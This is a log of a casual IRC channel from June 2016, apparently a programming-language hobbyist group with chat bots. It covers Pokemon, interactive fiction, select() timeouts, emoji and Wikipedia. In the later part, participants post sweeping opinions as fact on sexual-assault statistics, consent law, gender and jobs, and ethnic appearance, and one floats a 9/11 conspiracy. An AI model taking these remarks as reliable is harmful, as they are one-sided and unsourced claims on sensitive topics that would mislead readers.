19:09:03 -!- Melvar` has changed nick to Melvar.
19:09:15 <b_jonas> myname: You may have to #include <cmath> (possibly indirectly) or similar to have them defined.
19:09:33 <b_jonas> s/defined/declared/
19:09:55 <myname> i just wondered since it isn't mentioned in the wisdom
19:10:34 -!- moon_ has quit (Ping timeout: 260 seconds).
19:11:53 <int-e> you make it sound like glibc invented those names
19:11:57 <zzo38> I think my brother said that they invented a new pokemon that cannot wake up (and is also unaffected by any non-sleep status)? Therefore the only attack that can be use is the one that can be use only while sleeping.
19:12:26 <int-e> . o O ( vivid dreams... )
19:13:04 -!- xkapastel has joined.
19:19:58 -!- nirutus has quit (Ping timeout: 272 seconds).
19:20:31 -!- nirutus has joined.
19:27:44 -!- gamemanj has joined.
19:33:47 -!- nirutus has quit (Quit: Ex-Chat).
19:47:35 -!- dnm has joined.
20:09:42 -!- idris-bot has joined.
20:41:04 <\oren\> zzo38 they already have snorlax
20:41:44 <\oren\> snorlax was one of the only competitive pokemon back in the day
20:45:32 <zzo38> At least in the first game, I don't think Snorlax was incapable of waking up?
20:46:02 <\oren\> typical usage was : rest, sleeptalk, body slam, psychic
20:46:46 <zzo38> (There is a card Snorlax that is immune to all status conditions including sleeping, but if that power is somehow suppressed and it falls asleep, it can be affected by other conditions too until they are recovered and the power is no longer suppressed.)
20:49:08 <zzo38> \oren\: But if you are not allowed to have two same pokemons then you need another one as well?
20:51:19 <\oren\> in my middle school we would use only the following pokemon essentially
20:54:13 <\oren\> mewtwo alakazam dragonite snorlax gengar and the legendary birds
20:55:10 <zzo38> OK, that look like eight in total
20:56:05 <\oren\> this was because a mewtwo or alakzam kills almost anything quickly with psychic
21:00:10 <\oren\> dragonite and snorlax have broken enough stats to compensate
21:00:39 <\oren\> gengar to counter snorlax
21:01:01 <\oren\> articuno to counter dragonite
21:01:08 <shachaf> `wisdom
21:01:10 <shachaf> `wisdom
21:01:12 <shachaf> `wisdom
21:01:12 <shachaf> `wisdom
21:01:13 <shachaf> `wisdom
21:01:48 <HackEgo> lettuce//
21:02:20 <HackEgo> gnimmargorp//"Gnimmargorp" er algeng stafsetningarvilla af "grimmargorp".
21:02:20 <HackEgo> caps lock//CAPS LOCK IS CRUISE CONTROL FOR TIRED OLD MEMES
21:02:22 <HackEgo> cake//The Enrichment Center is required to remind you that you will be baked, and then there will be cake.
21:02:25 <HackEgo> No output.
21:04:29 <\oren\> however mewtwo has the delicuously broken ability to learn fire blast solarbeam and blizzard
21:04:53 <\oren\> so the starters are totallt screwed
21:05:17 <zzo38> I think some people have decided to make a limit of levels of Mewtwo that is allowed
21:06:07 <shachaf> _Spider and Web_ is TG
21:06:35 <int-e> `? tg
21:06:38 <HackEgo> TG is short for Turing-Gödel, the highest possible level of difficulty for a multiplayer game. At this level, it's undecidable whether you can manage to halt before losing or not.
21:07:03 <int-e> no room for "terribly goofy"
21:07:06 <\oren\> oh and thunder mewtwo can learn thunder... great...
21:07:52 <shachaf> zzo38: Did you play _Spider and Web_?
21:08:04 <zzo38> ?
21:08:25 <HackEgo> [wiki] [[Special:Log/newusers]] create * Bubble Pop * New user account
21:08:51 <int-e> "Spider And Web is not a game about a vacation."
21:09:00 <int-e> shachaf: is that the right track?
21:09:04 <shachaf> Yes, that one.
21:09:31 <zzo38> I think I may have done once.
21:10:02 <shachaf> int-e: It's not that long. You should play it.
21:10:30 <shachaf> What I don't understand is why there are two rooms named "Corridor Boundary".
21:10:44 <shachaf> Took me a long time to figure out what was going on there.
21:13:44 <int-e> x works. yay.
21:15:13 <shachaf> Games where x doesn't work are so annoying.
21:16:44 <\oren\> omg i just realized mewtwo is basically a black mage
21:17:36 <\oren\> firaga blizzaga thundaga
21:17:50 <shachaf> "undo" also works.
21:18:01 <shachaf> But you can only undo once.
21:21:58 <int-e> oops, the inventory got quite full now'
21:22:09 <zzo38> Z-machine can only use one undo buffer; ISAVE records the current state of addressable RAM, stack, locals, program counter, into this buffer, and IRESTORE restores it.
21:25:31 <zzo38> (And only if the undo bit is set in the header. If not set, undo buffers might not be allocatable. It is possible that some implementations might support undo only if PURBOT and/or ENDLOD are low enough.)
21:27:13 -!- MDream has quit (Remote host closed the connection).
21:29:02 <int-e> hmm. could be fun... later
21:42:21 <shachaf> @time int-e
21:42:21 <lambdabot> Local time for int-e is Fri Jun 17 22:42:21 2016
21:43:44 <myname> @time myname
21:43:47 <lambdabot> Local time for myname is Fri Jun 17 22:43:45 2016
21:43:59 <myname> well, pretty useless imho
21:45:31 <shachaf> int-e: There's a pretty good puzzle in the game later on.
21:47:49 <zzo38> That is true, yes.
21:48:18 <shachaf> zzo38: Are you thinking of the one I'm thinking of?
21:53:00 <zzo38> How should I know?
21:53:43 <shachaf> You could say something that doesn't give spoilers but would still confirm that we're thinking of the same thing.
21:56:24 <myname> zero-knowledge proofs!
21:59:27 -!- gamemanj has quit (Ping timeout: 244 seconds).
22:05:40 <int-e> what about privmsg
22:06:03 <shachaf> Too easy.
22:09:09 <myname> what is the difference between concede and surrender?
22:10:16 <shachaf> pikhq: The chance of collision is of course the square root of the number you said.
22:10:38 <shachaf> Well, not the square root. But related to it.
22:19:13 <pikhq> shachaf: Still not concerned. :)
22:19:36 <shachaf> > 122/2
22:19:38 <lambdabot> 61.0
22:19:54 <shachaf> you know the bitcoin network does that many hashes every few seconds?
22:20:31 <shachaf> > logBase 2 1432701138.46e9
22:20:33 <lambdabot> 60.31344340268831
22:20:34 <myname> so few?
22:21:23 <pikhq> Really, it does 2^61 hashes every few seconds?
22:21:34 <shachaf> According to http://blockchain.info/stats
22:21:52 <shachaf> I'm not sure if hash rate is measuring single SHA-256 or double SHA-256.
22:22:22 <pikhq> Also, note that you're talking the birthday paradox odds: the odds that there *exists* a collision, not that there is a collision with your particular random UUID.
22:22:53 <shachaf> Yes.
22:23:11 <shachaf> But presumably zzo38 is worried about other people's collisions too.
22:24:04 <shachaf> http://blockchain.info/charts/hash-rate?showDataPoints=false&show_header=true&daysAverageString=1&timespan=all&scale=1&address=
22:24:07 <shachaf> good graph
22:29:42 <zzo38> Why can't the select() system call to support absolute timers? And why do implementations other than Linux not tell you how much time is remaining, but Linux does?
22:29:42 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
22:34:12 <pikhq> zzo38: I think the major reason is that select is considered deprecated.
22:35:06 <pikhq> (though, poll is not exactly a replacement for that particular usage)
22:37:15 <zzo38> Is there a better way to wait for a file descriptor from a set with a timeout based on an absolute timer? Also sometimes you might want a relative timer anyways. If you can open a file descriptor that has a timer on it (either internally or by a separate program or thread that writes to one end of the pipe once the specified time is reached) then it can also be done absolute timer.
22:37:25 -!- spockers has joined.
22:39:13 <quintopia> hezzo
22:39:40 <zzo38> There is timerfd_create I will read it to figure out what that does.
22:40:26 <zzo38> However, it says it is Linux-specific.
22:45:44 <Cale> `? associativity
22:45:47 <HackEgo> associativity? ¯\(°​_o)/¯
22:46:54 <Cale> `slashlearn associativity h(th) = (ht)h
22:46:56 <HackEgo> No output.
22:46:58 <Cale> err
22:47:05 <Cale> `slashlearn associativity/h(th) = (ht)h
22:47:10 <HackEgo> Learned «associativity»
22:48:08 <shachaf> Cale: is this some sort of adjunction or section/retraction thing
22:48:21 <shachaf> perhaps hth = h, tht = t
22:48:32 <Cale> haha
22:48:35 -!- AnotherTest has quit (Quit: ZNC - http://znc.in).
22:49:00 <shachaf> Cale: Also I'm surprised you picked up "slashlearn" of all things.
22:49:54 <Cale> I went back in my scrollback and found someone recording a wisdom
22:50:44 <shachaf> Ah, b_jonas.
23:04:25 <Phantom_Hoover> `? ngevd
23:04:30 <HackEgo> 4®Øy9®5¥"̑Í^è#‚M.)>JCÛ]øQ¥Nwº´ðrr¨vÃY”Ùr=W§qò»[qêà§þ‘ì´óÙ»ÚRöµ¢JGê‘57¿<o?y¹fnߘÊ‡ŒKWc:É'b2ÿÄόRÇH‡Þ À±#̈́Î6۟q?Ðí¾uW… ‰­âOóT$sJÈWń÷!™á(Sñðw†Ò‡¤è‡:²ÿsão(!µÐ0°'’š‹E‚ÂLjÂ*šEšžÃå›r0Õ^©ŸwPe8²F3—®¦È÷ð>\>z•0\ð؛ÀXÕ,[æàêH¸Ã—ULÍwä^_jnOŠ{zKÀQ)ÛBŸGqhL—Q¤{˜ÁÑÛ¹™ö1”¹Sà½Q\¦‰dµ¡`¥°
23:08:12 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg).
23:13:44 -!- hppavilion[1] has joined.
23:19:12 <zzo38> How to do properly like select but with absolute timer?
23:22:52 <pikhq> Probably your best bet is to use threads and cancellation: spawn one thread that will select, and return the results of the select. Spawn another thread that will wait for your timer, and then cancel the thread. Join the select thread, if it wasn't PTHREAD_CANCELLED record the time. Cancel and join the timer thread.
23:23:01 <pikhq> This is nasty as hell, but I think it'll work?
23:23:24 <pikhq> I firmly hope there's a better way of doing it.
23:23:27 <shachaf> just use signals hth
23:24:10 <pikhq> (also, this will have race conditions on glibc, because glibc thread cancellation has race conditions in violation of the spec. :()
23:24:22 <shachaf> @wn glib
23:24:25 <lambdabot> *** "glib" wn "WordNet (r) 3.0 (2006)"
23:24:25 <lambdabot> glib
23:24:25 <lambdabot> adj 1: marked by lack of intellectual depth; "glib
23:24:25 <lambdabot> generalizations"; "a glib response to a complex question"
23:24:25 <lambdabot> 2: having only superficial plausibility; "glib promises"; "a
23:24:27 <lambdabot> [4 @more lines]
23:24:33 <shachaf> what did you expect hth
23:25:26 <pikhq> I think they're fixing it, at least.
23:46:43 -!- spiette has quit (Quit: :qa!).
2016-06-18
00:10:10 <zzo38> Now I wrote a simple program to lease stdin; it then terminates as soon as anyone else opens the same file. (If you just type "lease" by itself, you will get an error message, because you cannot lease a terminal.)
00:16:46 <zzo38> To do select with absolute timer one idea I thought might be to create a pipe and then another thread or program can wait for the specified time and emit characters on the pipe once the timer expires.
00:17:07 <pikhq> Mmm, yes, that would work.
00:17:34 <pikhq> And then the select user can just know that one of the fds means "timer expired".
00:18:04 <pikhq> I think that one's a lot cleaner than what I suggested.
00:18:04 <pikhq> And it'll work with poll as well.
00:18:10 <shachaf> `learn Pikachu is a universal quantifier for Chu spaces.
00:18:15 <HackEgo> Learned 'pikachu': Pikachu is a universal quantifier for Chu spaces.
00:18:26 <shachaf> hikhq
00:18:41 <shachaf> any new pooches?
00:18:51 <pikhq> Nah, just feelin' like I've got a drill burrowing into my head.
00:19:18 <shachaf> :'(
00:19:56 <pikhq> Nothing to be concerned about, it's just the fault of my genetics.
00:20:48 <shachaf> Are you sticking around in the area, speaking of which?
00:21:09 <pikhq> Iff I find myself hired.
00:21:09 <Phantom_Hoover> pikhq, oh god is that cluster headaches
00:21:14 <pikhq> Phantom_Hoover: No.
00:21:21 <Phantom_Hoover> phew
00:22:11 -!- spockers has joined.
00:29:57 <hppavilion[1]> According to wolfram|alpha, with exactly (no solutions exist) bits, you can represent any item from a set of 0 possibilities
00:35:50 <Cale> Clearly it should have been Infinity bits
00:36:20 <Cale> no wait, -Infinity
00:36:57 <shachaf> `? Cale
00:36:59 <HackEgo> Cale? ¯\(°​_o)/¯
00:37:20 -!- Warrigal has changed nick to tswett.
00:43:18 <hppavilion[1]> Cale: Good job, brilliant math skillz
00:44:53 <hppavilion[1]> I just found the Hallmarks of Cancer, which are the rules that designate a tumor as malignant
00:45:21 <hppavilion[1]> Now I know whether calling a particular political ideology, movement, or group "cancerous" is reflective of that group
00:45:27 <hppavilion[1]> Yay for justifying insults with science!
00:50:53 <\oren\> wait wouldn't that mean that anything that is growing in popularity is cancerous
00:51:50 <Phantom_Hoover> no obviously you need restructuring of the blood supply to the group as well
00:51:54 <quintopia> only if in doing so it dismantles established and necessary organizational structures
00:52:58 <Phantom_Hoover> \oren\, obviously not otherwise your fingernails would be cancer
00:53:18 <Phantom_Hoover> as would literally every tissue in a child
00:55:55 -!- xkapastel has quit (Quit: Connection closed for inactivity).
00:56:01 <hppavilion[1]> Oh, fuck this
00:56:16 <hppavilion[1]> According to affirmativeconsent.com under "What is affirmative consent?"
00:56:18 <hppavilion[1]> "Consent is to be determined from the perspective of the complainant."
00:57:09 <\oren\> I recommend reading into the case law instead
00:57:22 <hppavilion[1]> \oren\: It appears to actually be from case laww
00:57:43 <hppavilion[1]> So if someone has sex with someone else, and that person had every reason to believe that the partner was cool with- or even into- it, if the partner says that they didn't feel like they consented, then it's rape.
00:58:17 <\oren\> like I said, read the actual judgements
00:58:23 <hppavilion[1]> I will
00:58:41 <hppavilion[1]> But that seems like an obvious vector to get rid of someone you don't like- have sex with them, claim you didn't consent, get them sent to prison
00:59:21 -!- Phantom_Hoover has quit (Read error: Connection reset by peer).
00:59:34 <hppavilion[1]> This case is using the "39%" metric, which has been repeatedly debunked
01:00:07 <hppavilion[1]> Even the people who conducted the original survey that came up with the 1-in-3 number have said their survey shouldn't be used to justify laws or policies or anything, IIRC
01:00:45 <hppavilion[1]> The DoJ came up with a number closer to 1-in-50; still too large, but saying 1-in-3 is still a lie
01:01:16 <hppavilion[1]> (Apparently, it used to be 1-in-5, then it was 1-in-4, now it's 1-in-3. Soon enough, 2 out of every 1 women will get sexually assaulted in her lifetime)
01:01:24 <hppavilion[1]> </rant>
01:02:29 <\oren\> solution: don't date crazy people?
01:04:22 <hppavilion[1]> \oren\: That is a pretty good metric
01:05:08 <hppavilion[1]> Of course, I prefer "don't stick your dick in greater quantities of crazy" to the less accurate-to-humanity "don't stick your dick in crazy"
01:29:26 -!- hppavilion[2] has joined.
01:31:57 <zzo38> What happen if both people don't consent? But the solution is easy: don't sex.
01:32:30 -!- hppavilion[1] has quit (Ping timeout: 250 seconds).
01:38:57 <hppavilion[2]> fizzie: Hey, can you give fungot a style based on bus timetables from a city where buses crash constantly?
01:38:58 <fungot> hppavilion[2]: so you are waiting for a class? td fnord" fnord svg public " -//w3c//dtd html 4.01 fnord/ cdn/ fnord/ fnord/ fnord -lm " slow"
01:39:10 <hppavilion[2]> Oh, nevermind, looks like you already did
01:39:27 <hppavilion[2]> (though you fed the full HTML of the page it appears)
01:39:37 <hppavilion[2]> ^style
01:39:37 <fungot> Available: agora alice c64 ct darwin discworld enron europarl ff7 fisher fungot homestuck ic irc* iwcs jargon lovecraft nethack oots pa qwantz sms speeches ss wp youtube
01:41:15 <hppavilion[2]> Also, I want to play JScrabble now
01:43:20 <zzo38> Who is JScrabble?
01:44:46 <hppavilion[2]> zzo38: It's from today's xkcd
01:45:00 <hppavilion[2]> zzo38: It's a Scrabble game where JS reserved words count for triple points
01:46:39 <zzo38> Does it multiply after all other modifier on the board then?
01:47:02 <hppavilion[2]> zzo38: That doesn't matter. Multiplication is commutative over the naturals.
01:47:51 <zzo38> I know that, but the other possibility is if it suppresses the other modifiers or something like that.
01:48:05 <hppavilion[2]> Oh, but double/triple letter scores might affect it...
01:48:13 <hppavilion[2]> Wait, maybe not
01:48:27 <hppavilion[2]> No, definitely
01:48:37 <hppavilion[2]> Ah, I don't think it does
01:50:41 <hppavilion[2]> Wait, but what are the rules in normal scrabble? It's possible to get both a double word score and a double letter score
01:50:53 <hppavilion[2]> Well, I suppose you have to apply double word score second
01:52:26 -!- iaglium has joined.
01:54:07 <hppavilion[2]> Oh... Oh god
01:54:07 <hppavilion[2]> http://er.jsc.nasa.gov/seh/ricetalk.htm
01:54:11 <hppavilion[2]> Nasa, what are you doing?
01:54:19 <hppavilion[2]> (then again, that might be some sort of archive subdomain)
02:02:46 <\oren\> See and hear the entire speech for 56K modem download [8.7 megabytes in a .asf movie format which requires Windows Media Player 7 (speech lasts about 33 minutes)].
02:02:54 -!- lambda-11235 has joined.
02:03:36 <\oren\> I have WMP version12
02:04:33 <\oren\> hppavilion[2]: what's wrong with that page though???
02:05:05 <hppavilion[2]> \oren\: It clearly predates the speech itself
02:07:34 <\oren\> what do you think of my dad's website: http://math.yorku.ca/~watson/
02:08:42 <\oren\> notice that the text is pink and the bacground is teal
02:13:05 <\oren\> see! he knows some modern html!
02:14:00 <zzo38> You usually should not alter the colours from the user settings. Unfortunately this does not provide any standard way to do reverse-video (although Mozilla has an extension to support this).
02:14:41 <zzo38> But what you should not ever to do is altering the foreground but not background or vice-versa.
02:17:48 -!- hppavilion[2] has quit (Ping timeout: 244 seconds).
02:28:02 -!- adu has joined.
02:41:28 -!- xkapastel has joined.
03:42:40 -!- augur has joined.
03:43:55 -!- augur has quit (Remote host closed the connection).
03:45:08 -!- augur has joined.
04:02:48 -!- adu has quit (Quit: adu).
04:05:36 <zzo38> hppavilion[2]: What happen if it is a JS reserved word that is not already a valid word of Scrabble game? (Since, some might not be)
04:08:41 -!- hppavilion[2] has joined.
04:11:29 <hppavilion[2]> Isn't it annoying when somebody gets a cube with distinct sides where the sides always follow a particular pattern wrong?
04:14:03 <zzo38> I don't know
04:20:19 <hppavilion[2]> I just found https://en.wikipedia.org/wiki/List_of_cetaceans
04:20:39 <hppavilion[2]> In the tables, if a picture is missing, it says "Cetacean Needed"
04:21:58 <coppro> that's amazing
04:28:18 -!- moon_ has joined.
04:39:41 -!- moon_ has quit (Ping timeout: 250 seconds).
04:45:27 <hppavilion[2]> Does the IUCN Red List include dinosaurs in their 'extinct' list?
05:00:21 <hppavilion[2]> Wow, explainxkcd has brought down their incomplete article list a LOT
05:26:01 <hppavilion[2]> I should get around to playing geoguessr, I guess
05:31:29 <pikhq> hppavilion[2]: Well, there are certainly at least some dinosaurs that would make the extinct list.
05:31:35 <hppavilion[2]> "Hundreds of replicas of the Statue of Liberty have been created worldwide. At least one is the same size as the original; others are all smaller."
05:31:39 <hppavilion[2]> I sense a challenge
05:31:45 <hppavilion[2]> (wikipedia)
05:31:57 <hppavilion[2]> (Wikipedia et. al.)
05:32:18 <pikhq> Tip, all birds are dinosaurs by any reasonable definition of the term. :)
05:32:48 <hppavilion[2]> pikhq: True, true
05:33:10 <hppavilion[2]> pikhq: Unless the definition includes "lived before modern homonids"
05:33:20 <hppavilion[2]> *lived and died
05:33:41 <pikhq> Yeah, um, that's pretty unreasonable.
05:33:56 <pikhq> (and includes many birds. :P)
05:35:05 <hppavilion[2]> pikhq: Yeah, but at least it doesn't include e.g. ravens
05:35:19 <pikhq> I fail to see why that's a desirable property.
05:35:39 <hppavilion[2]> pikhq: Because ravens are smarter than dinosaurs, obv.
05:35:48 <hppavilion[2]> But the Wikipedia et al. challenge, of course, is to make a /larger/ replica of the SoL
05:40:46 <hppavilion[2]> "The statue is an icon of freedom and of the United States, and was a welcoming sight to immigrants arriving from abroad."
05:40:47 <hppavilion[2]> "was"
05:41:47 <pikhq> Immigrants don't generally make landfall at Ellis Island anymore.
05:48:14 <Sgeo> SoL?
05:48:17 <Sgeo> Oh
05:53:46 <quintopia> hppavilion[2]: is the challenge for someone to build one that's bigger?
05:54:30 <hppavilion[2]> quintopia: Yes, of course. That's what I said.
05:55:10 <quintopia> oh, well there was such a gap between your mentioning and then explicitly saying it, i just gave up and assumed you never did
05:56:12 -!- hppavilion[2] has changed nick to hppavilion[1].
06:00:26 <hppavilion[1]> Has the Unicode Consortium gotten around to snakes yet?
06:01:36 <quintopia> are you looking forward to seeing snakes on a unicode?
06:05:29 <\oren\> Is there a "bag of weed" emoji yet?
06:06:41 <quintopia> i mean, there's a leaf, right? i think?
06:07:19 <\oren\> there's a leaf and a "maple leaf" too
06:07:31 <\oren\> but no "marijuana leaf"
06:09:24 <\oren\> there's a snake emoji
06:09:58 <quintopia> why is microsoft's alembic emoji so stylized as to be unrecognizable
06:11:18 <quintopia> http://emojipedia.org/maple-leaf/ LG's is like halfway between maple and hemp
06:12:52 <quintopia> this is a fun category: http://emojipedia.org/festivus/
06:13:00 <\oren\> the alembic wasn't originally an emoji
06:13:46 <\oren\> it's one of the ones that becomes an emoji by a varation selector
06:16:15 <\oren\>
06:18:54 <\oren\>
06:21:23 <zzo38> Unicode is actually a mess.
06:22:06 <\oren\> ⚗️
06:34:15 -!- augur has quit (Remote host closed the connection).
06:36:12 <hppavilion[1]> I had an idea for a browser game designed to make a point about political correctness
06:36:15 <hppavilion[1]> It's called "Not Racist"
06:36:26 <\oren\> Apparently I'm wrong about ALEMBIC
06:36:37 <\oren\> http://www.unicode.org/Public/UCD/latest/ucd/StandardizedVariants.html
06:36:52 <hppavilion[1]> It gives you a rather specific race (like "Phillipino" (sp)) and 3-5 pictures of people of that race and you have to click the correct answer
06:37:27 -!- lambda-11235 has quit (Quit: Bye).
06:38:11 <hppavilion[1]> It calibrates which images to use based on the ones most commonly clicked instead of the right answer (so if it says "asian", the options will generally not include someone with very, very dark skin)
06:38:32 <\oren\> * "Filipino"
06:40:15 <izabera> how do i find a certain string of bytes in a binary file?
06:40:58 <izabera> let me rephrase that
06:41:25 <izabera> i have a shell and no c compiler and i need to find that
06:41:25 <\oren\> Wikipedia has ceased showing a set of pictures of people in articles about ethnic groups...
06:41:45 <hppavilion[1]> http://unicode.org/L2/L2016/16160-emoji-professions.pdf
06:41:48 <pikhq> grep -boF ;# and be advised that this will work with GNU grep but may not with other greps (that choke on binary files)
06:42:05 <hppavilion[1]> Really, UC? Emoji don't need to include every image ever
06:42:47 <hppavilion[1]> You should have separate sets of emoji to represent men and women from those representing careers- you don't need to combine them to have women in each career AND men in each career
06:42:49 <hppavilion[1]> That would be stupid
06:43:21 <hppavilion[1]> They also say "People search for women and men emoji with nearly the same frequency" when there is a blatantly higher number of people searching for men
06:43:25 <hppavilion[1]> Like, a LOT more
06:44:07 <hppavilion[1]> I would estimate 135% as many looking for "men emoji" as for "women emoji"
06:44:59 <hppavilion[1]> Oh, at least they're making them combining sequences rather than whole new codepoints
06:45:10 <hppavilion[1]> Still seems unnecessary, but it's better as this
06:47:50 <hppavilion[1]> But still, the idea of "focus on women in various jobs" is pretty stupid; unless you can show a blatant limitation to women getting into a job- not just there being more men in the job in general, but a discrepancy between percentage women and men hired vs. applied- I will assume that the lower percentage of women in the job is because /less women want the job/, as that's as close to the null hypothesis as I can get
06:49:25 <hppavilion[1]> I also find it funny that the document mentions adding the equivalents for men, but almost entirely emphasize it for women
06:50:24 <hppavilion[1]> Which makes no sense to me; if there aren't ones for men AND women already, what reason is there to have them? They say it's to "empower young women", but I don't think people will feel particularly empowered by there being emoji showing women in assorted professions
06:51:05 <hppavilion[1]> It's like saying e.g. all newspaper comics should be shown with variants with men AND women for each character
06:53:01 <hppavilion[1]> "We recognize the importance of having an inclusive representation of all people in emoji" so why don't you just make everything generic and neutral? Having specific emoji for various attributes of people is stupid; it's like if they decided there needs to be variants of emoji for all the different eye colors
06:54:22 <hppavilion[1]> Having dinosaurs seems like more of a pressing issue to me
06:54:24 <hppavilion[1]> </rant>
06:56:26 <\oren\> Bah, who cares about emoji, I'm pissed that wikipedia seems to have decided that "what do albanians look like" isn't a valid question.
06:56:26 <pikhq> hppavilion[1]: Careful, you're straying dangerously far into discussing discrimination while having no idea whether or not it's an issue or to what degree.
06:58:13 <myname> i wonder if default emojis are going to work with the female modifier, too
06:58:31 <myname> and when women demand to not having male emojis the fdefault
06:58:42 <\oren\> The emoji will be resolved when font designers are no longer able to finish.
06:59:54 <shachaf> What is a female emoji? One with long hair?
07:00:01 <\oren\> but seriously, wikipedia is beginning to become inferior to my 1950's Britannica
07:01:06 <\oren\> due to NPOV being interpreted as PPOVI (Popular Point of View on Internet)
07:01:38 <myname> shouldn't it be PPOVOI then?
07:01:55 <myname> if you don't omit of, you shouldn't omit on either
07:02:29 <\oren\> ok PPOVOI
07:04:14 <\oren\> it is a FACT that there are visible differences between the Irish and the Japanese, and the en.wikipedia people are censoring this fact.
07:04:33 <zzo38> What should be instead is All-Point-Of-View.
07:05:11 <pikhq> \oren\: Are they not putting it in the article for belief it's not a fact, or for belief that it's not a relevant fact?
07:05:17 <pikhq> I strongly suspect it's the latter.
07:05:42 <\oren\> argh. "relevant" to whom?
07:05:43 <pikhq> (you may disagree, and also when has irrelevance of a fact stopped Wikipedia before)
07:05:52 <\oren\> or what?
07:05:54 <hppavilion[1]> myname: Pretty soon we're going to have ZWJ sequences for families where the parents are both men (one with skin tone 2, the other with skin tone 5) and the child is a muslim for some reason
07:06:35 <zzo38> As I said before, Unicode is actually a mess!!
07:06:39 <hppavilion[1]> (don't get me wrong, I don't have anything wrong with muslims as a whole- at least, no more relative to Christians and Jews and Hindus (that's the proper plural, right?)- but generally you don't have two non-muslim parents with a muslim child)
07:07:05 <\oren\> hppavilion[1]: as I said this will be solved when font designers no longer put up with it
07:07:12 <hppavilion[1]> \oren\: True, true
07:07:16 <zzo38> `? unicode
07:07:44 <HackEgo> Unicode is a mess invented in 1988 by Xerox, Microsoft, the Spanish Inquisition, and the evil Human Supremacy Corporation, in order to make it easier for the government to spy on Chinese people.
07:08:01 <hppavilion[1]> zzo38: Probably not APOV so much as ANCCPOV
07:08:01 <shachaf> `culprits wisdom/unicode
07:08:10 <hppavilion[1]> (All Not Completely Crazy Points-Of-View)
07:08:21 <HackEgo> zzo38
07:08:30 <hppavilion[1]> \oren\: Where are they censoring the visual differences between the Irish and the Japanese? I want to see and laugh
07:08:47 <pikhq> I'm afraid that it's impossible to assert a view is not completely crazy without stepping in some deep political shit.
07:08:56 <hppavilion[1]> Ah, true
07:09:12 <hppavilion[1]> For a second there, I thought "Wouldn't it be nice if we had something like Wikipedia, but..." before I realized it's been done, but it became "conservapedia"
07:09:16 <pikhq> Remember, we have a political party that believes that climate change is neither human-caused nor actually happening.
07:09:17 <\oren\> hppavilion[1]: go to the article "albanians" for example
07:09:47 <\oren\> they removed the gallery of images at the top which tells people what albanians generally look like
07:09:54 <zzo38> I think that even crazy point of view must be included, although they could be separated from the main article; this results in better text than making a mess of everything in one sentence that doesn't make sense.
07:10:16 <hppavilion[1]> zzo38: But what about POVs shared by only 4 or 5 individuals?
07:10:17 <pikhq> The scientific community is happy to state that's pretty crazy at this point, but it's certainly not thought of like that by everybody.
07:10:22 <hppavilion[1]> Oh, wait, this is the internet
07:10:33 <\oren\> this has been done to all articles on ethnic groups
07:10:40 <hppavilion[1]> pikhq: Is there a political party that believes that climate change is human-caused but isn't actually happening?
07:11:29 <\oren\> Hopefully someone can put at least some txt explaining that, for example, very pale skin, red hair and freckles are common among the Irish
07:11:36 <zzo38> If only five people and isn't significant then maybe it should be placed on the talk page by those people.
07:11:43 <hppavilion[1]> https://en.wikipedia.org/wiki/Black_people: an actual article :)
07:12:12 <pikhq> hppavilion[1]: I would firmly hope not.
07:13:00 <\oren\> Black people isn't an ethnic group though.
07:13:15 <hppavilion[1]> \oren\: True
07:14:46 <zzo38> I have look at some custom Magic: the Gathering cards that people made up that say "This card cannot die even if a card says it can". This does not prevent it from being exiled, phased out, returned to owner's hand, shuffled into owner's library, anted, countered, discarded, turned face-down, etc....
07:14:48 <hppavilion[1]> Wow, the wikipedia article https://en.wikipedia.org/wiki/African_Americans doesn't have any images there specifically to get across how blacks look, and there are no color images until the 5th n-section or so
07:15:42 <zzo38> (It also says "destroy target player"; of course only permanents can be destroyed, not players.)
07:21:28 <\oren\> welcome to the twilight zone...
07:23:08 <\oren\> well, one solution is to read Wikipedia in a non-english language
07:27:51 <hppavilion[1]> I just pasted a rant on https://en.wikipedia.org/wiki/Talk:African_Americans. Now for the hate.
07:28:20 <hppavilion[1]> \oren\: Pffft. Non-english wikipedias are an April Fool's joke, aren't they?
07:28:22 <hppavilion[1]> Right?
07:29:16 <zzo38> No it is not only for April, I think?
07:30:42 <\oren\> solution: look at https://ja.wikipedia.org/wiki/%E3%82%A2%E3%83%AB%E3%83%90%E3%83%8B%E3%82%A2%E4%BA%BA
07:30:55 <hppavilion[1]> \oren\: Oh, huh, https://en.wikipedia.org/wiki/Wikipedia:Manual_of_Style/Images#NOETHNICGALLERIES
07:31:11 <\oren\> Yeah and it seems to be for stupid reasons
07:31:22 <\oren\> https://ja.wikipedia.org/wiki/アルバニア人
07:31:55 <\oren\> Thank god for the Japanese and their resistance to political correctness
07:32:59 <hppavilion[1]> \oren\: I think I'll go establish Political Dontgiveafuckness
07:42:39 <asie> hppavilion[1]: That's not very political.
07:43:37 <hppavilion[1]> Al Qaeda referred to 9/11 by the codename "The Big Wedding", because they are the biggest assholes on the face of the earth
07:52:08 <hppavilion[1]> Wow, the FAA didn't start grounding planes (well, it didn't order to ground ALL planes) until after the 3 successful attacks
07:52:10 <hppavilion[1]> Good job, FAA
07:52:19 <FreeFull> I thought ISIS is the biggest assholes
07:52:38 <hppavilion[1]> FreeFull: Eh, they're probably deeply connected to Al Qaeda
07:52:56 <FreeFull> Didn't Al Qaeda denounce them?
07:53:46 <FreeFull> "In February 2014, after a prolonged dispute with al-Qaeda in Iraq's successor organisation, the Islamic State of Iraq and the Levant (ISIS), al-Qaeda publicly announced it was cutting all ties with the group, reportedly for its brutality and "notorious intractability"."
07:55:05 <hppavilion[1]> "Mohammed said al-Qaeda initially planned to target nuclear installations rather than the World Trade Center and the Pentagon, but decided against it, fearing things could "get out of control".["
07:55:13 <hppavilion[1]> FreeFull: Oh, wow
07:55:59 <FreeFull> ISIS is too extreme even for the extremists
07:57:01 <zzo38> I am not surprised of that.
07:58:38 <zzo38> I think someone is hiding something about the attacks on World Trade Center, but I don't know what, exactly. Maybe the US government somehow convinced them to attack World Trade Center instead of nuclear installations, for reasons of hidden motives...?
07:58:49 <hppavilion[1]> "New York City 911 operators who received calls from individuals inside the tower were not well informed of the situation as it rapidly unfolded and as a result, told callers not to descend the tower on their own."
07:59:28 <hppavilion[1]> zzo38: Aaaaaand now you're a conspiracy theorist. Your complimentary tinfoil hat will be delivered in 9-11 business days.
08:03:54 <zzo38> I think a tinfoil hat is not of much help; wire mesh is probably more effective, but you might need a lot more than that
08:04:27 <\oren\> So I went downstairs to look in my Britannica
